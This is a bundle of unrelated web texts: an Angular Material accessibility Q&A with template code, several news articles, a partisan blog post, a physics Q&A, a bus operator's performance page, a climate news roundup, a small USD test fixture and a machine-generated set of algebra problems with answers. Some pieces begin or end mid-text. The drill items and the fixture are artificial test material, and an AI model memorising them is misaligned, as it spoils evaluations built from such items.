I know angular material doesn't use native table tags, but rather custom tags and roles such as:
<div role='grid'>
<div role='row'>
<div role='columnheader'>name</div>
<div role='columnheader'>age</div>
<div role='columnheader'>favorite color</div>
</div>
<div role='row'>
<div role='rowheader'>fred</div>
<div role='gridcell'>35</div>
<div role='gridcell'>orange</div>
</div>
<div role='row'>
<div role='rowheader'>barney</div>
<div role='gridcell'>32</div>
<div role='gridcell'>brown</div>
</div>
<div role='row'>
<div role='rowheader'>wilma</div>
<div role='gridcell'>33</div>
<div role='gridcell'>white</div>
</div>
</div>
(The above is showing <div> elements instead of <mat-table>, <mat-header>, etc because I wanted the role= to stand out)
Is there a way to get row headers? If I bring up the code inspector for the first table in https://material.angular.io/components/table,
the 'Hydrogen' cell is defined as:
<mat-cell _ngcontent-c20="" class="mat-cell cdk-column-name mat-column-name ng-star-inserted" role="gridcell">Hydrogen</mat-cell>
If I look at the column header, 'Name', it's defined as:
<mat-header-cell _ngcontent-c20="" class="mat-header-cell cdk-column-name mat-column-name ng-star-inserted" role="columnheader">Name</mat-header-cell>
If I merge the two and use the <mat-header-cell> tag from the column header and the class definition from <mat-cell> (for styling purposes), and also change the role from columnheader to rowheader, I get a valid row header.
<mat-header-cell _ngcontent-c20="" class="mat-cell cdk-column-name mat-column-name ng-star-inserted" role="rowheader">Hydrogen</mat-header-cell>
When I use a screen reader and I navigate vertically through a column, the row header is properly read before the table cell is read. It works great. I just need a way to specify a row header in angular material.
A:
Since it's now possible to create Angular table with table tags you can simply specify scope attribute on specific cell. Also, if you want to remove all default role attributes then you can use attribute binding with null value [attr.role]="null":
<table mat-table [dataSource]="dataSource">
<ng-container matColumnDef="name">
<th mat-header-cell *matHeaderCellDef scope="col" [attr.role]="null"> Name </th>
<td mat-cell *matCellDef="let element" scope="row" [attr.role]="null"> {{element.name}} </td>
</ng-container>
<ng-container matColumnDef="age">
<th mat-header-cell *matHeaderCellDef scope="col" [attr.role]="null"> Age </th>
<td mat-cell *matCellDef="let element" [attr.role]="null"> {{element.age}} </td>
</ng-container>
<ng-container matColumnDef="favorite color">
<th mat-header-cell *matHeaderCellDef scope="col" [attr.role]="null"> Favorite Color </th>
<td mat-cell *matCellDef="let element" [attr.role]="null"> {{element['favorite color']}} </td>
</ng-container>
<tr mat-header-row *matHeaderRowDef="displayedColumns" [attr.role]="null"></tr>
<tr mat-row *matRowDef="let row; columns: displayedColumns;" [attr.role]="null"></tr>
</table>
This should lead you to the same result as you required from a pure html perspective(https://www.w3.org/WAI/tutorials/tables/two-headers/)
The only one part that you can't override declaratively is any table section(thead role="rowgroup", tbody role="rowgroup", tfoot role="rowgroup") but anyway if it's required to remove(or change) those role attributes you can do it inside ngAfterViewInit hook of your host component or dedicated directive:
@ViewChild('tableRef', { static: false, read: ElementRef }) tableRef: ElementRef<HTMLTableElement>;
ngAfterViewInit() {
const table = this.tableRef.nativeElement;
Array.from(table.children).forEach(section => {
section.removeAttribute('role');
})
}
don't forget to assign template reference variable <table #tableRef to your table
Stackblitz Example
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Schmid knows what RSL are going through in CCL
TUKWILA, Wash. — Seattle Sounders head coach Sigi Schmid has unique perspective on the CONCACAF Champions League, both in the recent and not-so-recent past.
As the head coach of the LA Galaxy, Schmid was the last MLS coach to win the CONCACAF trophy 11 years ago. Now in charge of Seattle, he's also the last MLS coach to face off against Real Salt Lake's opponents in this year's finals.
On the eve of RSL’s away match against Monterrey on Wednesday, Schmid took a moment to reflect on the tournament.
“The competition in 2000 was much different because it was a tournament where all the teams came to one location,” Schmid recalled of his 2000 title, when the tournament was called the CONCACAF Champions' Cup and was played over six days in January in the Los Angeles area. “You played your group games, then you advanced out of the group. It wasn’t the home-and-away competition it is now.”
Complicating matters for the Galaxy were a handful of injuries. Schmid recalled entering the tournament, which required three matches in six days, with problems along the back line and no healthy forwards. In particular, youngster Danny Califf came down with an injury and could not play, while recent signing Alexi Lalas was not fit for game action.
The problems along the front line were more urgent, requiring a creative solution from Schmid.
“We actually took a kid named Adam Frye, who had played forward for me when he was a freshman at UCLA and hadn’t played forward since, had played as a defender for five years, we played him as a center forward,” Schmid said.
[inline_node:334295]After advancing via penalty shootouts in the team’s first two games, current Sounders assistant coach Ezra Hendrickson scored two goals in the final as LA defeated Olimpia of Honduras by a score of 3-2.
Ultimately, the Galaxy faced disappointment. Despite qualifying for the FIFA Club World Championship, the competition was canceled that season, robbing LA of the chance to play against some of the world’s best teams – including a date with Real Madrid at the Estadio Bernabéu.
On the eve of RSL’s first match in this year's Champions League finals, Schmid offered insight into Monterrey, whom beat Seattle twice in the group stage of this season’s CCL. In the second of the two group-stage matches last September, the Sounders got out to a 2-0 lead at Estadio Tecnológico before succumbing 3-2.
“We said that when we started in group play last year with our team that we were probably in the toughest group,” Schmid said. “Two of the four teams – you got one team in the final and the other team got knocked out in the semifinal. I think that shows that we were in the toughest group for sure.”
“They’re a good team," he said of los Rayados. "Monterrey is a difficult place to play at. Their stadium is a difficult place to play. We were able to get up on them but it was a game that they didn’t necessarily need to win so they probably approached the game a little bit differently and sat some players that are very important.” |
The two men from Akron paid $100 cover to get into the Cobalt Lounge. They got into an argument with some people in Lewis’ entourage.
Lewis had been living like the young superstar he was. He got around all week in a 40-foot limo rented for $3,000 a day. He made an appearance at a sporting good store the day before the game. A couple of friends took the occasion to buy knives.
The hard feelings were taken outside the lounge. The limo sped away. It was drenched in forensic evidence, though Lewis’s white suit was never found.
Witnesses said the limo pulled over and dumped a bloody laundry bag in a garbage bin. The limo driver testified that Lewis told everyone to “just keep your mouth shut and don’t say nothing.”
Lewis was charged with murder and aggravated assault. Prosecutors reduced it to a misdemeanor charge of obstructing justice. In return, Lewis testified against two friends, Reginald Oakley and Joseph Sweeting.
They eventually were acquitted. So the killers still are out there. Atlanta police never made any more arrests in the case.
Smith was Lollar’s fiancé. She gave birth to Lollar’s daughter, India, a month after his death.
The bottom line is very few people know who did what that night. Lewis has always maintained his innocence. Whether he was a bystander or not, he was undoubtedly in the wrong place at a very wrong time.
The NFL fined him $250,000. Lewis had O.J. Simpson’s image. The difference is his NFL career was still ahead of him. And what a career it would turn out to be.
Lewis may have been the most boisterous player in the NFL history, though he rarely spoke about that night in Atlanta. When he did, he said it changed his outlook on life. That happens when you see your life flash before a grand jury’s eyes.
To what extent it fueled the bonfire inside him, only Lewis knows. He started a foundation to help disadvantaged youth. He became a lay preacher. Nobody performed on Sundays like the Ravens’ middle linebacker.
Once toxic, Lewis became an endorser for Visa and Old Spice. The face of NFL shame made the cover of Madden NFL 2004.
It was the greatest redemption story in NFL history for one reason—it had to be. Otherwise, the testimonials wouldn't have been quite so glorious Wednesday.
Lewis deserves the praise. People can decide for themselves whether he deserves complete forgiveness. All I know is after the requisite five-year wait, he’s a lock to be a first-ballot Hall of Famer.
Lewis will take the stage and give one of the most rousing acceptance speeches Canton, Ohio, has ever heard. He’ll be handed the yellow jacket and wave to countless fans.
And somewhere, Kellye Smith will wonder what happened to the white suit. |
That wealthy group includes Harold Hamm, a self-made oil billionaire who was a top energy adviser to Mitt Romney's 2012 presidential campaign; Dan DiMicco, a former chief executive of steelmaker Nucor; Steven Mnuchin, Trump's national finance director, who is chairman and chief executive of the hedge fund Dune Capital Management; Steve Roth, founder and chief executive of Vornado Realty Trust; hedge fund billionaire John Paulson; Howard Lorber, chief executive of the Vector Group; real estate investor Tom Barrack; bankers Stephen M. Calk and Andy Beal; and financier Steve Feinberg.
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The only academic economist on the team — the only one who has a doctorate in economics — is Peter Navarro of the University of California at Irvine, who focuses on trade with China, and who three times ran unsuccessfully for public office in San Diego. The leading tax expert is Stephen Moore, who founded the Club for Growth and was a longtime columnist for the Wall Street Journal. There's a former U.S. Senate candidate, David Malpass, who served in the Reagan and George H.W. Bush administrations.
On a campaign staff level, the team is led by policy director Stephen Miller, a former aide to Sen. Jeff Sessions of Alabama, and deputy director Dan Kowalski.
Trump's outsider crew at times conflicts with his message of economic populism. He has painted Democratic nominee Hillary Clinton as the candidate of Wall Street, but his team is filled with hedge fund managers, bankers and real estate speculators. Hedge fund manager John Paulson made a fortune betting against the U.S. housing bubble before the financial crisis. Among the subsidiaries for Lorber's company is the fourth-largest tobacco company in the United States.
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“I am pleased that we have such a formidable group of experienced and talented individuals that will work with me to implement real solutions for the economic issues facing our country," Trump said in a statement announcing the team. "For too long we have watched as President Obama and Hillary Clinton have ruined our economy and decimated the middle class. I am going to be the greatest jobs President our country has ever seen. We will do more for the hardworking people of our country and Make America Great Again.”
But others sharply criticized the choice. Justin Wolfers, an economist at the University of Michigan's Ford School of Public Policy, wrote that Trump betrayed his promise with the selection of the team.
The announcement came ahead of a Detroit speech on Monday where he will lay out his economic plan for America in more detail.
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Trump's pitch has always been, in part, what you might call trickle-down expertise: The most successful members of the business worlds, the titans of the 1 percent, know what it takes to save to save the middle class. The advisers reinforce that idea. Lorber, for example, earned $42.5 million in 2015, and his compensation package, according to real estate news site the Real Deal, included the use of a company car and driver, club memberships, corporate plane use and a $90,000 allowance for lodging and expenses.
The group also reinforces Trump's credentials as an outsider, anti-establishment politician. Historically, presidential nominees carry over at least a few top economic advisers from their parties' past nominees, and they often pick up some of the advisers from their rivals in the primaries. Trump has done neither — with the exception of Hamm.
His named team has exactly zero of the biggest-name academic economists who traditionally advise Republicans.
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(Trump also takes economic advice from several people who aren't listed in Friday's release, including Arthur Laffer, the former Reagan economist who is the godfather of supply-side economics; Larry Kudlow, a financial commentator who is a Laffer disciple; and Trump's own children, including his daughter Ivanka.)
Just as Trump is leaning heavily on people he knows, in industries he travels, or whose policy beliefs match up well with his own, rival Clinton's inner circle also includes some longtime associates, such as Neera Tanden and Gene Sperling. But she also has spent two years reaching out to more than 200 experts, some of whom she had never met before, to build a sprawling economic agenda.
You can see that contrast in their policy proposals thus far. Trump's are few and often repeated. Clinton's are many, and detailed. Both have the same stated goal: lifting middle-class incomes. Trump promises more detail next week on how he would do that, starting with a speech in Detroit. |
I've walked most of the Appalachian Trail...its ups and downs are a lot like life. I love life, but EMT work has taught me that life is uncertain for us all. Let's talk about how to make the world work. There's lots of people who've got to live with what we leave behind.
Friday, January 12, 2007
Michael Savage - A Disgrace to America
Here in Rochester, New York, the old-line clear channel radio station is WHAM, 1180 on the dial. It was purchased by Clear Channel several years ago, and its lineup now includes Rush Limbaugh in the afternoon and Michael Savage at night. I often catch a few minutes of Michael as I get ready for bed. You know the old adage, "know your enemy".
Rush was initially interesting, but he soon became a bought person for the Republican Party and jettisoned any of the evenhandedness he seemed to start out with. His recent confession about "carrying water" confirmed the obvious. Nowadays, hardly anyone will admit they listen to Rush. But Savage has a growing audience.
Savage rages against anyone who is "different" in addition to always ending up in sync with his Republican masters on the national issues. His agenda appears to have evolved out of his rejection for a faculty position at a California university, which rejection he credits to affirmative action. He may be right about that, but that event apparently finished his transformation into one of the most dangerous, vile people I have ever heard. The big risk is that some of his listeners might actually take action based on what they hear from him.
We ought to worry when a really bright person gets twisted. As an intellect, Savage is to Limbaugh what homo sapiens is to a rhesus monkey. He uses his considerable wit in service of what he considers to be traditional American culture, and against what he calls "Islamo-Fascism". That is, he's all about getting rid of the Mexican immigrants and attacking Muslims wherever they may be. People whom he dislikes (including all liberals) are called "traitors", and countries that he dislikes are called out for summary nuking. In between his shouting rants on these topics, he mouths pseudo-religous platitudes and short vignettes about his dog, his restaurant choices, and his mother. The vignettes effectively humanize this truly inhuman person for his audience.
Savage has become rich by peddling his vitriol on the radio and in several books that entranced followers have bought by the millions. He effectively uses the lowest common denominators - fear and hate - to poison the minds of the uneducated and the provincial. Although he is highly intelligent, he never exposes himself to bright people with opposing views, prefering instead to bully poorly prepared callers to his show. And what does he accomplish on the airwaves? He fosters intolerance, racism, rage, and aggressive behaviors in the name of patriotism. He should be hoping there's no just God, because if there is, he'll have a lot to answer for.
Savage's latest crusade is to push for the release of American soldiers who allegedly killed Iraqis in cold blood, either in reprisal actions or as part of gang rapes. To him, these kinds of behaviors are just another part of war - but of course Savage was never a soldier. To him, murder is fine as long as the victims are people he doesn't like. Do you see the commonality between Savage and the terrorists he seems to find behind every tree?
So where does this put Clear Channel, the corporation that allows him to spew his vomit into the ether? Equally guilty. Sometimes freedom of speech is almost too painful to bear, and Michael Savage and Clear Channel are right up against the line. The republicans should repudiate this creep and call Clear Channel to account. They are a disgrace to America.
3 comments:
You have a better memory than I do if you remember Rush Limbaugh as even-handed. I listened to him a bit back in the '90's and can only remember three things: "ditto," paper rattling and him repeating everything he said about three times to fill time.
Atlanta has a resident talk show host, Neal Boortz, who is syndicated. Syndication seemed to change him. He even occasionally rattles paper. He likes to use perjoratives but berates people that do the same, if he doesn't agree with their politics. He never engages in any real discussion or debate. Even when he agrees with what someone is saying, he tends to cut them off to repeat what he has to say about the subject, for the third time.
I've concluded that radio talk is entertainment directed to people that I don't understand. They apparently tune in to Savage, Boortz and Limbaugh for the schtick that has me punching a button to switch channels.
Once apon a time Rush had a reasonable aspect.You're right that vanished long ago.My neighbor Mr. Boortz used to preface each of his shows were not news or education, but simply "entertainment".I believe he dropped that disclaimer some time back, when he started buying his own BS.
What we see from Savage is not free speech, what we see is solicitation to violence and criminality.He;s not honorable and Clear Channel should have licenses pulled. |
NYSE Euronext pays 260 mln euros to amend clearing deal
DougCameron
CHICAGO (MarketWatch) -- NYSE Euronext
NYX, -0.22%
plans to launch an in-house clearing service for its European derivatives exchange in the first quarter of next year, paying LCH.Clearnet EUR260 million to shrink their existing trade-processing arrangement.
The transatlantic exchange operator announced plans in March to take over some clearing functions for its London-based Liffe derivatives arm, mirroring efforts at rivals to create or expand in the profitable business of providing processing and guarantee services.
LCH.Clearnet still will provide core clearing services under an outsourcing deal, including managing risk, setting margin and handling defaults. The company won praise for its handling of complex defaults created by the bankruptcy of Lehman Brothers International.
NYSE Euronext said the new arrangement still would be accretive to earnings next year despite the one-time payment. Executives said the LiffeClear unit, whose launch is subject to U.K. regulatory approval, would allow more innovation and product launches, as well as potential co-operation with NYSE Liffe, its fledgling U.S. futures unit. Clearing for the U.S. business will be provided by the Options Clearing Corp. from next March.
"For NYSE Euronext, LiffeClear will enable competition against Liffe's vertically integrated international peers on a more level playing field," said Hugh Freedberg, head of global derivatives, in a statement.
CME Group Inc. (CME) and the Eurex arm of Deutsche Boerse AG (DBOEF), Liffe's two larger rivals, already own their own clearers. IntercontinentalExchange Inc. (ICE) also has created its own in-house clearer and plans to shift all its London-based business from LCH.Clearnet next month, four months later than planned.
The vertical integration of the exchange business pushed LCH.Clearnet toward a potential merger with the Depositary Trust and Clearing Corp,. which handles the bulk of U.S. equity securities trades. The companies last week outlined a proposal for DTCC to acquire LCH.Clearnet by next March.
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All quotes are in local exchange time. Real time last sale data provided by NASDAQ. More
information on NASDAQ traded symbols and their current financial status. Intraday
data delayed 15 minutes for Nasdaq, and 20 minutes for other exchanges. S&P/Dow Jones Indices (SM)
from Dow Jones & Company, Inc. SEHK intraday data is provided by SIX Financial Information and is
at least 60-minutes delayed. All quotes are in local exchange time. |
About US$25 million worth of heroin has been intercepted at Fiji's Lautoka wharf, in what police say is likely to be the largest heroin bust in the country.
Transcript
About US$25 million worth of heroin has been intercepted at Fiji's Lautoka wharf, in what police say is likely to be the largest heroin bust in the country.
30 kilograms of heroin were found hidden inside bicycle tyres on Sunday, following a joint operation between the Fiji police and the Revenue and Customs Authority.
The acting commissioner of police, Isikeli Vuniwaqa, spoke with Leilani Momoisea about the bust.
ISIKELI VUNIWAQA: As far as we know the consignment came through from Asia, but its original status and origin is still to be further clarified.
LEILANI MOMOISEA: Were the drugs intended for Fiji, or were they to be taken on elsewhere?
IV: At this point we suspect it was for transit, but it's still too early, our investigation is still in its embryonic stage at this point in time.
LM: Have any arrests been made at all?
IV: Yes, we have one person in custody at this point in time and interrogation and checks are currently undertaken.
LM: Has this much heroin been found before? How common is this sort of thing?
IV: It's not common in Fiji at this point in time. Not with this kind of magnitude with weight that has been uncovered. We had earlier I think uncovered a few grams, but this is probably the largest bust in as far as heroin is concerned. It's uncommon, it's uncommon. Our most common catch has been methamphetamine so far. But this is probably one of the harder ones that have been unveiled lately.
LM: And what's the message the police want to put out there in terms of how well protected Fiji's borders are?
IV: Just to put it through to would-be perpetrators who are people who think that Fiji is a safe-haven to push through these kind of drugs, we are very vigilant now at our borders. Our immigration authorities, our custom officers, our police officers have now been trained and are properly well entrenched in the way we are networked. So, just a warning for those who intend to use Fiji as a safe haven for drug smuggling or for transition, this is a warning that Fiji is intensifying its border watch, now, and into the future. |
Obamacare signups very low
As expected, numbers released by the White House Wednesday show a very low number of Americans enrolled in the first month of the new Obamacare insurance exchanges.
Just 26,794 Americans selected a plan through the federal HealthCare.gov in October, and may or may not have paid their first premium.
North Carolina's fraction of that was 1,662.
The Affordable Health Care site has been plagued by technical problems since its October 1 launch, but administration officials say the issues are slowly being worked out. Health and Human Services Secretary Kathleen Sebelius says she expects things to improve.
Signups on state-based exchanges created under the law fared a little better. Just 79,391 people selected plans in those state marketplaces.
In total, the administration says 106,185 Americans selected a qualified health plan through state and federal marketplaces in October.
Insurance companies only consider people "enrolled" if they have paid their first month premium. Those premiums aren't due for several more weeks. So technically, people can still switch or cancel their plans.
The numbers released Wednesday are roughly a fifth of the projected target of 500,000 Americans that the administration had expected would sign up in October, according to an internal Sept. 5 Health and Human Services memo obtained by AP and confirmed by ABC News.
Republicans are also taking aim at Obamacare in North Carolina for the number of private insurance plans that have been cancelled because they don't meet the minimum standards required under the new healthcare law.
The Associated Press reported earlier this month that 160,000 North Carolinians have received cancellation notices. Blue Cross Blue Shield confirmed to ABC11 Wednesday that it has sent out 150,000 notices.
The White House fired back at NC Republicans Wednesday, tweeting: "The NC GOP is preventing nearly 400,000 people from getting health coverage through #Obamacare. It's time to put #PeopleOverPolitics." - referring to the McCrory administration's decision not to expand Medicaid rolls under Obamacare even though the federal government will pick up the entire tab for the first three years, and 90 percent following that. |
Our passengers
We carried over 24.1 million passengers during the year, and received only 1,202 customer comments. This equates to under 5 comments per 100,000 passenger journeys.
We always meet our strict industry code of practice and investigate every complaint we receive. These complaints are always fixed and logged to prevent them happening again.
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Our drivers are all Certificate of Professional Competence (CPC) qualified.
Our supervisors and management staff have all passed the relevant training courses for their professions.
Our services
Our key measure of performance is reliability and punctuality.
In the past year our buses ran 99.42% of scheduled services, with 0.15% failure due to internal reasons and 0.43% due to external reasons,such as congestion and diversions and 0.22% due to weather conditions. Also, 94.6% of our buses ran within six minutes of their scheduled times, with traffic congestion and road works being the main sources of delays.
We continue to run our twitter account @stagecoachcnl to keep our customers up to date with incidents on the highway and delays affecting our services.
We have made some further improvements to services over the past year, including more accessible buses and introduced new and extended services in Cumbria and Lancashire.
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Legal identity || Stagecoach in Cumbria and North Lancashire is a trading division of Stagecoach (North West) Limited. Stagecoach in Cumbria and North Lancashire also trades as Stagecoach in Lancaster. Registered Office: Stagecoach North West Limited, Daw Bank, Stockport, SK3 0DU (Registered in England and Wales No. 123665) |
Q:
Applicability of parton model at low factorization scale
Consider scattering process at partonic level occuring at low factorization scale $\mu^{2}\lesssim 1\text{ GeV}^{2}$ (for example, with the "hard" process $2\to 1$ with low mass produced particle, with the factorization scale chosen to be the squared mass of this particle). Using parton distribution functions generated by package LHAPDF, I obtain suppressed (in comparison with production at larger factorization scale) but non-zero result for the cross-section.
My question is whether the parton model (and therefore parton distributuon function) is well-defined at $\mu^{2}\lesssim 1\text{ GeV}^{2}$. Could you help me please?
A:
The interacting probe with momentum transfer $Q$ has resolving capabilities $\sim 1/Q$ of the hadronic target so, in particular, if $Q$ is of the order of $1 \,\text{GeV} \sim m_H$ then the resolution is at most of the order of the characteristic size of the hadron. We therefore do not really see the partonic structure of the proton, perhaps at best its valence content. At such energy resolutions one cannot justify the applicability of the parton model.
Typically the parton model is to be understood within a (collinear) factorisation in which hard scattering matrix elements $C_i$ are convoluted with the PDFs $F_i$ to ascertain observables such as structure functions, cross sections etc. One usually writes e.g $$\mathcal M \sim \sum_i C_i \otimes F_i + \mathcal O \left(\frac{\Lambda_{\text{QCD}}^2}{Q^2}\right)$$ with the higher twist terms neglected because of their suppression due to the relatively large scale $Q^2$. In your case, if $Q \sim \Lambda_{\text{QCD}}$ then these terms are $\mathcal O(1)$ and the factorisation into this nice sector split is spoiled.
|
#sdf 1.4.32
def MfScope "bad_shaped_dim"
{
custom Vec3d[] bad1 = [[]]
}
|
This can also be specified with Launch Options, use +mat_dxlevel [DirectX version] on the launch options of any Source game to do so. Alternatively, you can use -dxlevel [DirectX version], however this specifies a number of extra presets, including resolution and quality. |
IN TODAY'S RADIO REPORT: Mitt Romney flip-flops again, this time on global warming; Fox 'News' --- ignorant and proud of it; U.S. Navy ignores Fox and Mitt by taking the lead on biofuel innovation; PLUS: It's not your imagination: weather disasters are becoming more frequent, and more expensive ... All that and more in today's Green News Report!
House Speaker John Boehner (R-OH) said that “for the federal government to be out there picking one company over another, one type of energy source over another, I think is wrong.” Evidently, though, his attitude toward energy subsidies does not extend to nuclear plants in his home state of Ohio.
As Bloomberg reported today, despite his professed view on energy subsidies, Boehner is backing a $2 billion loan guarantee for an enriching plant run by USEC Inc.
But for conservatives like Fox host Eric Bolling, last week was actually a net positive in the fight to prove that climate change is a "scam." Why? Because it snowed in the northeastern United States. (Remember when climate scientists made a big deal about how it would never snow again because of climate change? Man, they must be so embarrassed right now.)
One of the darkest Halloweens ever loomed for about 3 million households left without power on Sunday by a rare October snowstorm in the Northeast that bedeviled transportation and killed at least eight people.
A new study confirming the accuracy of existing global temperature records has been ignored by the all the major television news outlets, except for one mention in a CNN news brief. But the omission is most conspicuous at Fox News, which routinely casts doubt on the temperature data, accuses climate scientists of doctoring research to exaggerate global warming, and often just makes up its own temperature facts.
Robert Stavins, an economist at the John F. Kennedy School of Government at Harvard, said a surprise winter storm no more disproved climate change than a hot day in August proved it.
But larger patterns of extreme storms and precipitation, even if accompanied by cold snaps, support the theory of global warming, he and several climate researchers said, because warming oceans are sending more moisture into the air.
Straw Men And The Little Ice Age: The Heartland Institute's James Taylor is on the defensive after an independent study undermined critics of the temperature records establishing global warming. (Media Matters)
Freakish weather disasters – from the sudden October snowstorm in the Northeast U.S. to the record floods in Thailand – are striking more often. And global warming is likely to spawn more similar weather extremes at a huge cost, says a draft summary of an international climate report obtained by The Associated Press.
The final draft of the report from a panel of the world’s top climate scientists paints a wild future for a world already weary of weather catastrophes costing billions of dollars. The report says costs will rise and perhaps some locations will become “increasingly marginal as places to live.”
Climate change and population growth in the United States will make having enough fresh water more challenging in the coming years, an expert on water shortages said on Wednesday.
"In 1985-1986 there were historical (water level) highs and now in less than 25 years we are at historical lows. Those sorts of swings are very scary," said Robert Glennon, speaking at the State of the Lakes Ecosystem Conference in Erie, Pennsylvania.
The Greenland ice sheet can experience extreme melting even when temperatures don’t hit record highs, according to a new analysis by Dr. Marco Tedesco, assistant professor in the Department of Earth and Atmospheric Sciences at The City College of New York. His findings suggest that glaciers could undergo a self-amplifying cycle of melting and warming that would be difficult to halt.
“We are finding that even if you don’t have record-breaking highs, as long as warm temperatures persist you can get record-breaking melting because of positive feedback mechanisms,” said Professor Tedesco, who directs CCNY’s Cryospheric Processes Laboratory….
Earlier this year, the Navy successfully tested a 50-50 algae aviation biofuel blend on a Seahawk helicopter in flight, and now an algae biodiesel blend has passed muster during tests on a 135-foot landing vessel.
...
As with the Seahawk helicopter algae biofuel demonstration, the LCU tests show that an algae biofuel blend can be used as a drop-in replacement for conventional fuel, without the need for any modifications to the engine, fuel tanks or exhaust system.
The LCU is among at least three new vessels undergoing biofuel tests this fall.
gine speeds,” in order to test if the biofuel blend would provide power similar to the standard diesel, and to gauge performance details such as fuel consumption, exhaust temperatures and engine-room temperatures. On all counts, the Navy said, the green fuel was a winner.
US Navy takes algae fuel: The US Navy has taken delivery of its first shipment of 100% 'clean' algae based jet fuel (Guardian UK, 7/29/2010)
Speaking at a federal sustainability conference, one of Northrop Grumman’s top climate scientists expressed grave concern about society’s resilience to global warming.
..."I don’t think the the will is there yet anywhere to make rapid changes to put in place mitigation strategies to make a significant dent in the trends that we’re seeing. I have concerns and I don’t see the radical changes that I think are needed are happening fast enough."
The disaster at the Fukushima Daiichi nuclear plant in March released far more radiation than the Japanese government has claimed. So concludes a study that combines radioactivity data from across the globe to estimate the scale and fate of emissions from the shattered plant.
The Berkeley Earth Surface Temperature team released a study showing that the earth’s surface has warmed 1 degree Centigrade (1.8 degrees Fahrenheit) since 1950, with the hopes that the study would address the critiques of climate deniers who continue to insist that the earth is not warming.
Even Richard Muller, Berkeley Earth’s scientific director who was notorious for not believing the conventional wisdom about climate change, said this study confirms global warming.
A supplemental draft environmental statement has been released with modifications made as the result of more than 80,000 public comments received on the plan to designate suitable solar energy zones in six western states. The zones, which are also in California, Nevada, New Mexico, Colorado and Arizona, include 285,000 acres of federal land, or 445 square miles.
These mosquitoes are genetically engineered to kill — their own children.
...
But the research is arousing concern about possible unintended effects on public health and the environment, because once genetically modified insects are released, they cannot be recalled.
Back in February, the Parnell administration told a judge that Cook Inlet beluga whales didn't need the protection of the federal Endangered Species Act because the state was perfectly capable of protecting them itself, in part because of the Alaska Coastal Management Program. But in a notice belatedly filed in the case Friday, the Alaska attorney general's office acknowledged the state had lost that conservation and enforcement tool four months ago.
Solar energy collectors will be installed on up to 60 acres at O'Hare International Airport and a service station selling alternative fuels for private and commercial vehicles will open near the airport, Chicago's aviation chief announced today.
Beacon Power Corp., an energy storage company that received $43 million in backing from the U.S. program that supported failed Fremont solar panel manufacturer Solyndra, filed for bankruptcy after struggling to raise private financing.
The Obama administration announced Monday that it has extended nearly 1,400 deep-water oil and gas drilling leases to make up for delays caused by last year's Gulf spill and a subsequent moratorium on some offshore exploration.
Gold prospectors chasing $1,600-an-ounce flecks in river bottoms east of Charlotte also might be sucking life out of the streams, experts say. As the price of gold mounts, some weekend prospectors have turned to machines called suction dredges. The devices work like underwater vacuum cleaners, sucking gravel and dirt into sluice boxes that catch any gold and dump other material back into the river. That's a problem for anything living on the bottom, including mussels, fish eggs and aquatic insects, which can be killed by the machines or smothered in stirred-up sediment.
Nearly eight months after the Fukushima Daiichi nuclear accident scattered radioactive material over surrounding communities, Japan still is struggling to figure out how to clean up the mess, exacerbating fears about health risks and fanning mistrust of the government.
Congressional aides say there is a "likelihood that the $300 billion 2012 Farm Bill would take shape weeks before 2012 even begins, in the form of a dashed-off bill swept into the larger 'super committee'-driven deficit-cutting process.
Monday marks the birth of the world's seven billionth baby, according to the United Nations. In all likelihood, that child will probably take its first breaths in a city in a developing country, where projections say the majority of new children will be born.
"I was just updating my graph, and I noticed that, 'Hey, this is increasing,'" [atmospheric scientist John] Barnes said during a recent interview. It was unexpected. Where were these particles coming from, without a Pinatubo-style eruption? "No one had seen that before," he said.
Barnes had uncovered a piece of a puzzle that has provoked, frustrated and focused climate scientists over the past half decade. It is a mystery that has given cover to forces arrayed against the reality of human-driven global warming. And it is a question that can be easily stated: Why, despite steadily accumulating greenhouse gases, did the rise of the planet's temperature stall for the past decade?
http://www.skepticalscie...pticism-from-denial.html
I know many readers here are Skeptical Science fans but in the daily living of life the daily emails can be missed. That is the reason I am making mention of this lecture. I find it wonderful. I especially like the first part dealing with politics and science and Rick Perry is mentioned around 12:50.
Dr Richard Milne from the University of Edinburgh has published an entertaining and educational lecture 'Criticial Thinking on Climate Change'. He explores the nature of science and genuine scientific skepticism while managing to pack in more cartoons, animations and jokes (yes, I LOLed on multiple occasions) than I've ever seen in a climate lecture. He also debunks a number of climate myths, using some great metaphors which I'll be adding to my vocabulary for future reference. Definitely worth watching for any interested in climate science. |
such that n(f) = 0.
37
Solve 32*b - 312/5 - 2/5*b**2 = 0 for b.
2, 78
Let w(p) be the second derivative of p**6/315 - 5*p**5/21 + 16*p**4/21 - 123*p. Factor w(z).
2*z**2*(z - 48)*(z - 2)/21
Let n(j) be the third derivative of 3*j**8/224 - j**7/4 + 117*j**6/80 - 137*j**5/40 + 3*j**4/2 + 7*j**3 + 2*j**2 - 35. Determine u, given that n(u) = 0.
-1/3, 1, 2, 7
Let f(y) be the third derivative of -1/40*y**6 + 1/4*y**4 + 0*y**3 - 1/112*y**8 + 7*y**2 + 3/70*y**7 + 0*y - 3/20*y**5 + 0. Determine d so that f(d) = 0.
-1, 0, 1, 2
Let n(w) be the first derivative of -4*w**3/3 + 76*w**2 - 1444*w + 396. Suppose n(i) = 0. What is i?
19
Let a(v) be the third derivative of v**5/120 - 11*v**4/48 + 5*v**3/6 + 52*v**2 + v. Let a(z) = 0. Calculate z.
1, 10
Let o(c) = 7*c**2 - 91*c + 78. Let b(w) = 6*w**2 - 90*w + 80. Let p(y) = -3*b(y) + 2*o(y). Find f, given that p(f) = 0.
1, 21
Let a(x) = 9*x - 3. Let u be a(2). Suppose u = 15*f - 12*f. Determine l so that -6/11*l**f + 2/11*l**4 + 0 + 8/11*l**2 + 16/11*l**3 + 0*l = 0.
-1, -2/3, 0, 2
Let f(x) be the first derivative of -2/27*x**3 + 0*x + 0*x**2 + 10. Suppose f(y) = 0. Calculate y.
0
Let l be (-18)/(-4) - ((-55)/(-10) - 5). Let x(q) be the first derivative of 2/3*q - 1/2*q**2 + l + 1/9*q**3. Let x(k) = 0. Calculate k.
1, 2
Let s = 408 + -408. Let q(t) be the first derivative of 1/26*t**4 + s*t + 4/65*t**5 + 5 + 0*t**2 + 1/39*t**6 + 0*t**3. Suppose q(k) = 0. What is k?
-1, 0
Let x(j) be the third derivative of -j**5/30 - j**4/2 - 8*j**3/3 - 11*j**2 + 3*j. Solve x(w) = 0 for w.
-4, -2
Let n = 18 + -10. Let c = n - 5. Suppose c*q - 38*q**2 + 41*q**2 + 0*q = 0. Calculate q.
-1, 0
